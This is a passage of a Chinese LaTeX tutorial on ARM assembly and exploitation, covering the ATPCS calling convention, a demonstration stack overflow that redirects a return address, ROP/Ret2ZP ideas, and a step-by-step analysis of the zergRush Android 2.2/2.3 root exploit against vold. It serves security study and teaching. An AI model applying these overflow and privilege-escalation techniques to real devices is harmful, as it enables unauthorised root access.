所有这些分支跳转指令都可以使用条件码,成为相应的条件跳转指令。 171 | 172 | \subsubsection{内存访问指令1} 173 | ARM使用简单的访存模型,所有内存读写都通过\lstinline!LDR!和\lstinline!STR!两条指令完成,而且只能在寄存器与内存之间读写,不能直接从内存读写到内存。\lstinline!LDR!和\lstinline!STR!都有一个可选的后缀\lstinline!B!,不选时按字(4字节)读写,选择B时按字节读写。其第一个参数是寄存器,第二个参数是内存地址。 174 | 175 | \subsubsection{寻址方式} 176 | 第一类寻址方式: 177 | \begin{itemize} 178 | \item 寄存器加上立即数偏移:[reg, \#$\pm$imm12] 179 | \item 寄存器加上寄存器偏移:[reg, $\pm$reg] 180 | \item 寄存器a加上移位后的寄存器b偏移:[rega, $\pm$regb, shift] 181 | \end{itemize} 182 | 这些地址符号后面可以选择一个叹号:!。如果加上,表明先根据寻址规则修改寄存器,然后根据寄存器中的值访问内存;如果不加叹号,表示直接根据寻址规则访问内存。 183 | 184 | 第二类寻址方式则是先根据寄存器中的值访问内存,然后按照相应的规则更新寄存器: 185 | \begin{itemize} 186 | \item 访存后,寄存器加上立即数:[reg], \#$\pm$imm12 187 | \item 访存后,寄存器加上寄存器:[reg], $\pm$reg 188 | \item 访存后,寄存器a加上移位后的寄存器b:[rega], $\pm$regb, shift 189 | \end{itemize} 190 | 191 | \subsubsection{内存访问指令2} 192 | 还可以一次性读写多个字: 193 | \begin{lstlisting}[numbers=none] 194 | LDMcdum reg!, mreg 195 | STMcdum reg!, mreg 196 | \end{lstlisting} 197 | 其中: 198 | \begin{itemize} 199 | \item[cd] 可选的条件 200 | \item[um] 访问模式,分别为IA读写后增加寄存器值、DA读写后减少寄存器值、IB读写前增加寄存器值、DB读写后增加寄存器值 201 | \item[!] 表示会修改寄存器,修改方法参考um 202 | \item[mreg] 支持一次指令多个寄存器,例如{R0-R3, R7, R10} 203 | \end{itemize} 204 | 205 | \subsection{ATPCS} 206 | \subsubsection{名词解释} 207 | 例程(routine)、子例程(subroutine):对于一段可以调用、可以返回、保证栈平衡的代码片段,例程指调用者,子例程指被调用者。 208 | 209 | 过程(procedure):不返回结果值的例程。 210 | 211 | 函数(function):返回结果值的例程。 212 | 213 | 变量大小、内存对齐、字节序、复合类型等略。 214 | \subsubsection{寄存器的用途} 215 | 216 | ARM中有16个通用寄存器r0 – r15。其中: 217 | \begin{itemize} 218 | \item[r0 – r3] 用于传递参数、返回函数结果,因此又名a0 – a3。在例程内部也被用于保存临时结果 219 | \item[r4 – r11] 用于保存例程内的局部变量值,又名v0 – v8。其中,r9(v6)是一个平台相关的值,不同的ARM平台必须为这个寄存器赋予特殊的含义 220 | \item[r12 – r15] 有专门的用途,后面介绍。常用别名:IP、SP、LR、PC 221 | \end{itemize} 222 | \subsubsection{栈结构} 223 | 224 | r13(SP)是栈指针。ARM中使用向下的满栈(full-descending),即SP始终指向最后一个已进入栈的数据,每次压栈时,SP自减需要的内存大小,然后将值存到SP新的位置。 225 | 226 | 也就是说,对栈的push相当于STMDB,对栈的pop相当于LDMIA,但一般不用这个后缀,而用STMFD和LDMFD。 227 | 228 | SP的值应在栈的有效区间内,且mod 4 = 0。栈上有例程的调用帧结构。不要轻易地修改这个值。 229 | 230 | \subsubsection{子例程调用} 231 | 232 | ARM和Thumb指令集均有一个BL指令,它的操作是:将BL指令顺序下一条指令的地址(即返回地址)送入链接寄存器LR(r14),然后将调用的目的地址(即子例程地址)送入寄存器PC(r15)。 233 | 234 | 如果在Thumb中调用BL,则LR的第0位被设为1,否则被设为0。(因为指令地址要4字节对齐,因此LR的第0和1位都没有用。) 235 | 236 | 子例程返回很简单,将LR的值送入PC即可。 237 | 238 | 任何模拟上述过程的指令序列也会起到BL的效果,例如:mov LR, PC; BX r4。注意,任何时候读PC,得到的值是当前指令地址+8(why?请自己google)。 239 | 240 | \subsubsection{结果返回} 241 | \begin{itemize} 242 | \item 不超过4字节的结果,一律用r0返回 243 | \item 超过4字节的基本类型,继续用r1, r2, r3 244 | \item 超过4字节的复合类型,或动态大小的结果,存储在内存中,并将其地址作为调用参数之一传入 245 | \end{itemize} 246 | \subsubsection{参数传递} 247 | 248 | 使用r0 – r3传递参数,如果不够,使用栈。 249 | 250 | 语言中的数据类型会按照相关标准转化为机器数据类型。 251 | \section{ARM漏洞利用的特点} 252 | 与x86相比,ARM下要做到漏洞利用存在以下问题: 253 | \begin{itemize} 254 | \item 从v5开始,ARM普遍采用哈佛结构,数据段不可执行 255 | \item 函数调用时,参数传递不再通过栈,而是使用寄存器 256 | \item 返回地址按照ATPCS是通过LR寄存器传递,大部分被掉用函数会在其代码开始时将LR再次保存到栈上,在返回前从栈中直接取回至PC寄存器 257 | \item 由于体系结构的本质区别,作为跳板的指令无法使用x86下常见的那些,而要根据实际需要来寻找 258 | \end{itemize} 259 | 但也有好的消息。在Windows/x86平台引入DEP以后,因为代码部分的不可执行,出现的ret2libc和ROP等技巧,其思路也可以用于ARM。此外,ARM单条指令的描述能力是超过x86的,所以要寻找到合适的跳板指令序列并不是太难。 260 | 261 | ARM漏洞利用是一个新的领域,目前参考文献较少,主要有\cite{arm_exploiting_linux, arm_stack_exploitation, arm_exploitation, arm_ropmap, arm_alphanumeric}。 262 | \section{简单的示例} 263 | \subsection{源代码} 264 | 下面我们看一个实际的例子。这个程序来自于\cite{arm_exploiting_linux},但因为编译源码使用的系统和编译器不同,后面的细节与原文有较大差异。 265 | \lstinputlisting[language=c,caption={存在漏洞的示例代码}]{code/arm.test.c} 266 | 267 | \subsection{反汇编结果} 268 | 如果使用的Toshiba AC100做实验,在Ubuntu下,从6.10开始gcc默认开启了-fstack-protector开关,存在不安全拷贝函数调用的函数,在退出前会做栈有效性检测(\_\_stack\_chk\_fail),因此进一步的漏洞利用会失败。应该在gcc编译时使用-fno-stack-protector来关闭这个开关。此外,在Toshiba AC100中,gcc默认将目标代码优化为Thumb指令集。后面的分析是基于ARM指令集的。可以给gcc加上-marm开关来强制指定其编译为ARM指令集。最后,也就是说,在AC100下,应该这样编译: 269 | 270 | \begin{lstlisting}[language=bash, numbers=none] 271 | $ gcc test.c -o test -marm -fno-stack-protector 272 | \end{lstlisting} 273 | 274 | 在编译完成后,就可以使用gdb来反汇编vuln()函数了。下面是在ARMEL的Debian系统下,用gcc4.4编译的结果: 275 | 276 | \lstinputlisting[caption={vuln函数的反汇编结果}, language={}]{code/arm.test.dis1.asm} 277 | 278 | 逐一解析这些代码,以熟悉ARM指令。 279 | 280 | 在第3行,先后push了r11和lr寄存器。r11又称fp(帧指针寄存器),相当于x86下的ebp寄存器。它在该函数中使用了,所以将原来的值保存在栈中。lr前面有介绍,在调用该函数时将返回地址保存在了其中,因为在vuln()中还要bl到strcpy,还要用到lr,所以将lr保存在栈中,直到函数返回时(13行),才从栈中取出。这一点需要额外说明,虽然ATPCS规定由lr保存返回地址,且各编译器也遵循了这一约定,但在实现中,由于存在漏洞的函数其内部必然调用了其他函数,因此lr一定会在该函数的初始化时被保存到栈上,因此溢出是一定可以覆盖到它的。也就是说,虽然ATPCS的返回方法和x86的约定不同,但实际情况还是差不多。 281 | 282 | 第4行,给r11(fp)赋值。再次强调,ARM使用向下递减的满栈,因此r11指向sp加4,即栈顶第二个元素的地址。 283 | 284 | 第5行,sp自减24,开出了24字节的局部变量缓冲区。注意这里的\#24的立即数表示是十进制,而不是十六进制。 285 | 286 | 第6、7、10行,r0传给r3,r3传给r1。回忆ATPCS,r0中存着vuln()函数的第一个参数,即char *arg的值。调用strcpy时,r1是第二个参数,因此,将arg作为了strcpy的第二个参数。 287 | 288 | 第8、9行,在局部变量缓冲区取了12个字节的缓冲,给r0,作为strcpy的第一个参数。有人会奇怪,在源码中我们为buff申请了10个字节的缓冲,为什么这里成了12。这是因为ARM的内存访问都是4字节对齐的。 289 | 290 | 第11行,调用了strcpy函数。 291 | 292 | 第12行,恢复栈指针。 293 | 294 | 第13、14行,恢复r11原来的值,恢复lr的值,跳转至lr以返回。但很多编译器不这么实现,而是直接pop \{r11, pc\}。 295 | 296 | 可以看到,如果在strcpy时,输入的数据超过12个字节,就会逐步覆盖栈中保存的原来的r11(超过4字节)和lr(再超过4字节)。而lr会在后面取出作为函数返回地址。这样,就有可能通过覆盖栈来改变指令执行流程。 297 | 298 | \subsection{栈结构} 299 | 我们再来看看当正常运行到上面第12行,即执行完strcpy后,栈的情况。我们用1234作为参数。 300 | 301 | \lstinputlisting[caption={正常拷贝后的栈结构}, language={}]{code/arm.test.dis2.asm} 302 | 303 | 可以看到,参数1234已经出现在栈上(0xbedb9794处),而返回地址位于0xbedb97a4处,为0x0084ac。如果输入数据越界,则其17到20字节将正好覆盖这一返回地址。这个结论与我们前面对代码的分析是一致的。 304 | 305 | \subsection{构造溢出} 306 | 从上面的栈结构,我们可以构造溢出数据了。如下所示: 307 | 308 | \lstinputlisting[caption={构造溢出数据}, language={}]{code/arm.test.dis3.asm} 309 | 310 | 我们先看下donuts()函数的地址,为0x00008438,再考虑不破坏其他栈结构,因此构造了长为20字节的输入数据。其前12个字节随便填充,13-16字节为原来栈上的r11值,17-20字节为我们想要的返回地址,即donuts()函数的地址。最后,可以看到donuts()函数确实运行了起来,程序也正常退出了。 311 | 312 | \section{漏洞攻击方法} 313 | 上述示例只是一个演示性的栈溢出。如果要发起真实攻击,跳到一个本地函数并不是我们需要的。 314 | 315 | 在x86中,最初的做法是将shellcode作为数据传给程序,程序将其放在溢出后的栈上。当函数退出时,跳转到栈上执行shellcode。在引入DEP后,栈上数据不可执行,从而产生了包括ret2libc在内的ROP技术,即跳转到一些系统API或库函数,通过控制这些API的参数实现一定的能力。 316 | 317 | 在x86上,参数是通过栈传递的。也就是说,通过栈溢出几乎一定可以把参数安置好,并调用其他函数。但在ARM上这一招没法直接用了。ATPCS规定使用r0 - r3这四个寄存器传递参数,而通常栈溢出是无法影响到这些寄存器的。只能寄希望于在溢出后,存在这类指令序列:将栈上的值拷贝至r0 - r3中。 318 | 319 | 以此思想为基础,Avraham提出了所谓的Ret2ZP(Return to Zero Protection)的攻击方法,主要在\cite{arm_stack_exploitation}和\cite{arm_exploitation}中进行了阐述。 320 | 321 | \section{zergRush分析} 322 | \subsubsection{背景和原理} 323 | Revolutionary工具开发小组在2011年10月发布了一个在Android 2.2和2.3上获得root权限的方法\footnote{\url{http://forum.xda-developers.com/showthread.php?t=1296916}},并公布了漏洞利用代码zergRush.c\footnote{\url{https://github.com/revolutionary/zergRush/blob/master/zergRush.c}}。tomken\_zhang已经在其博客上发表了两篇文章对其分析\footnote{\url{http://blog.csdn.net/tomken\_zhang/article/details/6866260}\newline\url{http://blog.csdn.net/tomken\_zhang/article/details/6870104}}。本文做进一步梳理和补充。 324 | 325 | 产生漏洞的主要原因是:具有root权限的vold进程使用了libsysutils.so库,该库的一个函数存在栈溢出,因此可以在root权限执行输入的shellcode。 326 | 327 | 存在漏洞的函数为FrameworkListener::dispatchCommand,位于源码的$$\backslash system\backslash core\backslash libsysutils\backslash src\backslash FrameworkListener.cpp$$中,其中的局部变量argv为固定大小的指针数组,当输入参数的数量超过其大小时,会越界写入栈中。 328 | 329 | zergRush.c成功地利用了这一漏洞,并进一步: 330 | \begin{enumerate} 331 | \item 在/data/local/tmp/下增加一个置了S位的shell; 332 | \item 使Android中后续启动的adb进程以root权限运行。 333 | \end{enumerate} 334 | 335 | 其中第二步的方法是:adb进程最初以root运行,之后调用setuid()降低权限\footnote{\url{http://blog.claudxiao.net/2011/04/android-adb-setuid/}}降权之前,会判断系统属性ro.kernel.qemu,如果该属性位1,则不降权。 336 | 337 | \subsubsection{函数功能概要} 338 | \begin{description} 339 | \item[die] 打印出错信息,退出程序 340 | \item[copy] 将一个文件拷贝为另一个文件 341 | \item[remount\_data] 重新mount一个分区 342 | \item[find\_symbol] 查找libc.so中导出函数的内存地址 343 | \item[check\_addr] 确定一个地址中是否包含被禁止的字节 344 | \item[do\_fault] 构造溢出数据和exploit,并通过socket发送给vold进程 345 | \item[find\_rop\_gadgets] 从libc.so中寻找两个特殊指令序列的地址 346 | \item[checkcrash] 调用do\_fault,判断其溢出产生的调试信息中是否包含sp 347 | \item[find\_stack\_addr] 调用do\_fault,从其溢出产生的调试信息中定位栈地址 348 | \item[do\_root] 将shell文件的S位置上,并设置ro.kernel.qemu属性为1 349 | \item[main] 主函数,完成漏洞利用的所有步骤 350 | \end{description} 351 | 352 | \subsubsection{main函数} 353 | \lstinputlisting[language=c,caption={zergRush的main函数}, firstnumber=387, firstline=387, lastline=536]{code/zergRush.c} 354 | \begin{itemize} 355 | \item[395-396] 如果当前程序是以root权限运行,并且程序名为boomsh,则调用do\_root,执行附加的两步操作 356 | \item[402-405] 将自身拷贝至/data/local/tmp/boomsh,并设置其权限为0711,将/system/bin/sh拷贝至/data/local/tmp/sh。 357 | \item[407-408] 根据/system/bin/vold文件的大小获得其对应进程中堆的大概地址heap\_addr。 358 | \item[410-421] 根据系统版本对heap\_addr做微调。如果不是2.2或2.3系统,退出。 359 | \item[423-428] 查询libc.so中system调用的地址,保存至system\_ptr。 360 | \item[430-443] 通过checkcrash函数,判断buffsz为16或24时能否成功利用。这里buffsz实际指libsysutils中造成栈溢出的指针数组argv的容量。 361 | \item[445-484] 调用find\_stack\_addr函数,确定栈地址。反复尝试五次,每次对堆地址heap\_addr做微调,直至成功。判断得到的栈地址是否有效。 362 | \item[486-487] kill掉当前的logcat进程,删除/data/local/tmp/crashlog文件。 363 | \item[489-491] 调用find\_rop\_gadgets函数,在libc.so中寻找指令序列add sp, \#108; pop \{r4-r7, pc\},将地址保存在stack\_pivot;寻找指令pop \{r0, pc\},将地址保存在pop\_r0。 364 | \item[493-514] 尝试三次,每次调用do\_fault,之后判断/data/local/tmp/sh的S位是否置上,一旦置上,则利用成功;否则,微调栈地址heap\_addr(加减16)。 365 | \item[516-533] 一旦利用成功,并且系统的ro.kernel.qemu属性已经被置为1,则利用完成,重启的adb进程即可获得root权限。 366 | \end{itemize} 367 | 368 | \subsubsection{do\_root函数} 369 | \lstinputlisting[language=c,caption={zergRush的do\_root函数}, firstnumber=377, firstline=377, lastline=384]{code/zergRush.c} 370 | \begin{itemize} 371 | \item[395-396] 若当前程序是以root权限执行的/data/local/tmp/boomsh,则调用do\_root函数。 372 | \item[379] 重新mount目录/data。 373 | \item[380] 将/data/local/tmp/sh的所有者设置为root。 374 | \item[381] 将/data/local/tmp/sh的属性设置为04711,注意其S位被置位。 375 | \item[382] 设置系统的ro.kernel.qemu属性为1。 376 | \end{itemize} 377 | 378 | \subsubsection{find\_stack\_addr函数} 379 | \lstinputlisting[language=c,caption={zergRush的find\_stack\_addr函数}, firstnumber=324, firstline=324, lastline=374]{code/zergRush.c} 380 | \begin{itemize} 381 | \item[332-333] 清空logcat缓存,删除老的/data/local/tmp/crashlog日志文件。 382 | \item[335-340] 重启一个logcat,将其日志输出至/data/local/tmp/crashlog文件。 383 | \item[342-349] 调用一次do\_fault,等待3秒后,读取crashlog文件中的logcat日志。 384 | \item[350-366] 搜索logcat日志中的debug信息,"4752455a"之前8个字节为栈基址stack\_addr,"5245564f"往之前8个字节为over,"sp"之后5个字节为栈顶sp。 385 | \item[370-371] jumpsz = over – sp 386 | \end{itemize} 387 | 388 | \subsubsection{do\_fault函数} 389 | \lstinputlisting[language=c,caption={zergRush的do\_fault函数}, firstnumber=163, firstline=163, lastline=221]{code/zergRush.c} 390 | \begin{itemize} 391 | \item[165] buf是最后发送至vold的shellcode。 392 | \item[169-181] padding是shellcode中的一段填充内容,全部为Z,无意义。长度为padding\_sz + 12。padding\_sz由108减去jumpsz计算得到。 393 | \item[183-184] 通过socket连到本地的vold进程。 394 | \item[186-190] 将栈地址stack\_addr、指令序列1地址stack\_pivot、指令序列2地址pop\_r0、system调用地址system\_ptr、堆地址heap\_addr,分别填充到相应的字符串中。 395 | \item[192-198] 开始构造shellcode。注意第195行,这里根据buffsz,也就是尝试出来的溢出数组argv的大小,构造相应数量的输入参数。 396 | \item[200-201] 计算一下/data/local/tmp/boomsh字符串将会出现的地址,这个字符串会作为shellcode的一部分发到栈中,因此可以根据栈地址和偏移计算出来,最后作为system调用的参数。 397 | \item[208] 把上述地址转为字符串s\_bsh\_addr。 398 | \item[209] 进一步构造shellcode,包括栈地址、堆地址、填充、指令序列2地址、boomsh字符串地址、system调用地址、boomsh字符串等。 399 | \item[214] 将shellcode发送至vold进程。 400 | \end{itemize} 401 | 402 | \subsubsection{总结} 403 | 404 | 综合来看,zergRush.c的思路如下: 405 | \begin{enumerate} 406 | \item 计算出vold的堆地址 407 | \item 查到system调用的地址 408 | \item 尝试出栈缓冲区大小 409 | \item 通过崩溃产生的调试信息,取得栈地址和栈结构信息 410 | \item 在libc.so中找寻跳板指令 411 | \item 根据缓冲区大小、栈结构和上述各种地址,构造出有效的shellcode来,发送到vold 412 | \item shellcode在vold中以root权限运行,它通过system调用运行该利用程序的一个副本boomsh 413 | \item 程序副本boomsh以root权限运行时,会置上shell程序的S位,并设置系统属性ro.kernel.qemu 414 | \item 结束掉adb,后续开启的adb进程将具有root权限 415 | \end{enumerate} 416 | 417 | 非常典型的缓冲区溢出利用思路,但与PC相比,利用了android中几个特殊之处: 418 | \begin{itemize} 419 | \item vold的溢出会在adb logcat中输出调试信息,这些信息说明了其内存结构,而其他程序可以读取到这些信息; 420 | \item 在ARM架构下,跳板指令有了更多的选择,ret2libc的攻击也可能更容易实现 421 | \item adb的降低权限过程又一次被利用。 422 | \end{itemize} 423 | 424 | 最后,我们没有进一步分析shellcode的详细结构和跳转过程,难度已经不大。反而是libsysutils.so这个通用库中的溢出有没有可能造成其他问题,需要进一步分析。 425 | 426 | --------------------------------------------------------------------------------